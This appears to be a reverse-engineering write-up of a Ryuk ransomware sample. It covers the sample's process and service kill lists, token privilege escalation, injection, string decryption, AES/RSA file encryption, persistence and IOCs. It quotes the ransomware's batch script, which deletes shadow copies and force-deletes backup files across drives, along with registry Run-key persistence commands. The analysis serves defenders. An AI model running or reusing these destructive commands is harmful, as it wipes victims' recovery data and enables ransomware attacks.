Introduction

Given all the talk about UNC1878 and the deployment of Ryuk ransomware I decided to take a look at a Ryuk sample, reverse engineer it and write about the findings.

As described by several sources the timeline of these campaigns goes by the following:

1) Maldoc
2) Trickbot / BazarBackdoor
3) Cobalt Strike and other OST tools
4) RYUK deployment

Command line arguments

When the samples runs without any arguments a new sample is created in the same directory with a random 7 character name:

Arguments for CopyFileW():

The newly created copy is then executed with the following command line arguments “8 LAN”:

Arguments for ShellExecuteW():

image-20201110163900914

This is due to the fact that some Ryuk samples have a capability known as “Wake on Lan” for spreading on a network infrastructure. By writing a copy of itself and executing it while passing the arguments “8 LAN”:

When the sample runs with the arguments “8 LAN” it will sleep and wait before starting all the encryption routines.

Killing Services and Processes

Ryuk will check the version of windows and if it’s a newer version it will start a new thread to kill a list of processes and services, using net.exe and taskkill.exe, respectively:

image-20201113192914287

List of processes to kill:

virtual
vmcomp
vmwp
veeam
backup
Backup
xchange
sql
dbeng
sofos
calc
ekrn
zoolz
encsvc
excel
firefoxconfig
infopath
msaccess
mspub
mydesktop
ocautoupds
ocomm
ocssd
onenote
oracle
outlook
powerpnt
sqbcoreservice
steam
synctime
tbirdconfig
thebat
thunderbird
visio
word
xfssvccon
tmlisten
PccNTMon
CNTAoSMgr
Ntrtscan
mbamtray

List of services to kill:

vmcomp
vmwp
veeam
Back
xchange
ackup
acronis
sql
Enterprise
Sophos
Veeam
AcrSch
Antivirus
Antivirus
bedbg
DCAgent
EPSecurity
EPUpdate
Eraser
EsgShKernel
FA_Scheduler
IISAdmin
IMAP4
MBAM
Endpoint
Afee
McShield
task
mfemms
mfevtp
mms
MsDts
Exchange
ntrt
PDVF
POP3
Report
RESvc
sacsvr
SAVAdmin
SamS
SDRSVC
SepMaster
Monitor
Smcinst
SmcService
SMTP
SNAC
swi_
CCSF
TrueKey
tmlisten
UI0Detect
W3S
WRSVC
NetMsmq
ekrn
EhttpSrv
ESHASRV
AVP
klnagent
wbengine
KAVF
mfefire

Privilege Escalation

Ryuk escalates privilege by modifying its own process access token to give himself the “SeDebugPrivilege” as seen below:

image-20201113194229153

This type of privilege access is needed to the process injection component.

Process Injection

It tries to inject itself to the list of running processes. The following processes are blacklisted:

explorer.exe
lsaas.exe
csrss.exe

To do the process injection it uses the classic combination of OpenProcess(), WriteProcessMemory(), and CreateRemoteThread() apis.

Dynamic API resolving

A large list of apis are dynamically resolved. The dll and api names are encrypted and after reversing the algorithm used to decrypt the strings it was possible to extract them:

[+] Decrypted apis:

Offset: 0 Decrypted String: LoadLibraryA
Offset: 50 Decrypted String: VirtualFree
Offset: 100 Decrypted String: FindFirstFileW
Offset: 150 Decrypted String: FindNextFileW
Offset: 200 Decrypted String: GetModuleFileNameA
Offset: 250 Decrypted String: Wow64RevertWow64FsRedirection
Offset: 300 Decrypted String: SetFilePointer
Offset: 350 Decrypted String: CreateFileA
Offset: 400 Decrypted String: VirtualAlloc
Offset: 450 Decrypted String: CloseHandle
Offset: 500 Decrypted String: GetWindowsDirectoryW
Offset: 550 Decrypted String: CreateDirectoryW
Offset: 600 Decrypted String: CreateFileW
Offset: 650 Decrypted String: WriteFile
Offset: 700 Decrypted String: CreateProcessW
Offset: 750 Decrypted String: GetModuleHandleA
Offset: 800 Decrypted String: CreateProcessA
Offset: 850 Decrypted String: CopyFileA
Offset: 900 Decrypted String: GetCommandLineW
Offset: 950 Decrypted String: FreeLibrary
Offset: 1000 Decrypted String: GlobalAlloc
Offset: 1050 Decrypted String: GetModuleFileNameW
Offset: 1100 Decrypted String: Wow64DisableWow64FsRedirection
Offset: 1150 Decrypted String: SetFileAttributesA
Offset: 1200 Decrypted String: CopyFileW
Offset: 1250 Decrypted String: DeleteFileW
Offset: 1300 Decrypted String: ReadFile
Offset: 1350 Decrypted String: GetFileSize
Offset: 1400 Decrypted String: GetVersionExW
Offset: 1450 Decrypted String: GetFileAttributesW
Offset: 1500 Decrypted String: GetFileAttributesA
Offset: 1550 Decrypted String: FindClose
Offset: 1600 Decrypted String: WinExec
Offset: 1650 Decrypted String: Sleep
Offset: 1700 Decrypted String: ExitProcess
Offset: 1750 Decrypted String: GetCurrentProcess
Offset: 1800 Decrypted String: GetLogicalDrives
Offset: 1850 Decrypted String: SetFileAttributesW
Offset: 1900 Decrypted String: GetStartupInfoW
Offset: 1950 Decrypted String: GetTickCount
Offset: 2000 Decrypted String: GetDriveTypeW
Offset: 2050 Decrypted String: mpr.dll
Offset: 2100 Decrypted String: WNetOpenEnumW
Offset: 2150 Decrypted String: WNetEnumResourceW
Offset: 2200 Decrypted String: WNetCloseEnum
Offset: 2250 Decrypted String: advapi32.dll
Offset: 2300 Decrypted String: CryptEncrypt
Offset: 2350 Decrypted String: CryptDecrypt
Offset: 2400 Decrypted String: CryptGenKey
Offset: 2450 Decrypted String: CryptDestroyKey
Offset: 2500 Decrypted String: CryptExportKey
Offset: 2550 Decrypted String: CryptImportKey
Offset: 2600 Decrypted String: CryptDeriveKey
Offset: 2650 Decrypted String: CryptAcquireContextW
Offset: 2700 Decrypted String: GetUserNameA
Offset: 2750 Decrypted String: GetUserNameW
Offset: 2800 Decrypted String: RegOpenKeyExA
Offset: 2850 Decrypted String: RegOpenKeyExW
Offset: 2900 Decrypted String: RegQueryValueExA
Offset: 2950 Decrypted String: RegCloseKey
Offset: 3000 Decrypted String: RegDeleteValueW
Offset: 3050 Decrypted String: RegSetValueExW
Offset: 3100 Decrypted String: ole32.dll
Offset: 3150 Decrypted String: CoInitialize
Offset: 3200 Decrypted String: CoCreateInstance
Offset: 3250 Decrypted String: Shell32.dll
Offset: 3300 Decrypted String: ShellExecuteW
Offset: 3350 Decrypted String: ShellExecuteA

Changing Drive Permissions

Ryuk changes the permissions of all Logical drives using icacls.exe:

image-20201113214010779

Deleting Backups

Ryuk deletes the shadow copies with WMI and vssadmin.exe:

image-20201113225157090

Ryuk also drops a batch script to disk to delete all shadow copies and all possible backups:

vssadmin Delete Shadows /all /quiet
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
vssadmin Delete Shadows /all /quiet
del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk
del /s /f /q e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set e:\*.win e:\*.dsk
del /s /f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.* f:\backup*.* f:\*.set f:\*.win f:\*.dsk
del /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.* g:\backup*.* g:\*.set g:\*.win g:\*.dsk
del /s /f /q h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\backup*.* h:\*.set h:\*.win h:\*.dsk
del %0

The batch script deletes itself at the end.

Encryption Routine

Ryuk uses a “multi thread” to encrypt files since it will create a new thread for each file it tries to encrypt, making the encryption process really fast. Ryuk uses AES-256 to encrypt files and RSA to encrypt the AES key and append it at the end of every encrypted file. This way only the authors behind the ransomware can decrypt the AES keys used to encrypt the files, since only them have the RSA private key. Ryuk uses the Microsoft CryptoAPI to encrypt the files.

List of APIs used for encryption:

CryptAquireContextW
CryptImportKey
CryptGenKey
CryptEncrypt
CryptDestroyKey
CryptDeriveKey

Ryuk starts gathering all the system files and for every file it creates a new thread to encrypt. The following keywords are whitelisted by this Ryuk sample:

dll
hrmlog
exe
.ini
.lnk
bootmgr
boot
RyukReadMe.html
UNIQUE_ID_DO_NOT_REMOVE
boot
PUBLIC
PRIVATE
\\Windows\\
sysvol
netlogon
bin
boot
Boot
dev
etc
lib
initrd
sbin
sys
vmlinuz
run
var

Before starting the encryption Ryuk imports the public RSA key:

image-20201114154623482

Then for every file it creates a new AES 256 key:

image-20201114155412166

And goes into a loop to encrypt chunks of data with 1000000 bytes, each:

image-20201114162805206

At the end Ryuk adds a specific block of meta data at the end of the encrypted data containing the marker “HERMES” plus the encrypted AES key used for encryption.

Writing the marker to the file:

image-20201114165027425

Exporting the AES key, encrypting it with the RSA public key and writing it to the file:

image-20201114165849618

Ryuk checks if the file to be encrypted contains the “HERMES” marker and if does it will skip the encryption:

image-20201114162348880

This way, it avoids encrypting files twice.

Encrypting Network Resources

Ryuk also tries to encrypt network shares and for each network share it finds it will add it to a list delimited by “;” for later encryption using the same methods.

image-20201114175637000

Persistence

A run key for persistence is added to the windows registry by spawning a new cmd.exe process to run a reg add command:

image-20201113211932066

List of commands used for persistence:

cmd.exe /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" /v "svchos" /t REG_SZ /d "[Path 2 Exe]" /f

cmd.exe /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" /v "svchos" /t REG_SZ /d "[Path 2 Exe]" /f /reg:64

RyukReadMe.html

Ryuk writes a HTML file named RyukReadMe.html

image-20201114170637076

This data is encrypted and after reversing the algorithm it was possible to get the plain text data for the HTML file:

image-20201114171503872

RyukReadMe.html:

image-20201114171600414

IOCs

pakuroume1977@protonmail.com
SHA256: 40B865D1C3AB1B8544BCF57C88EDD30679870D40B27D62FEB237A19F0C5F9CD1

Here’s a list of useful resources about some campaigns that finished with Ryuk being deployed: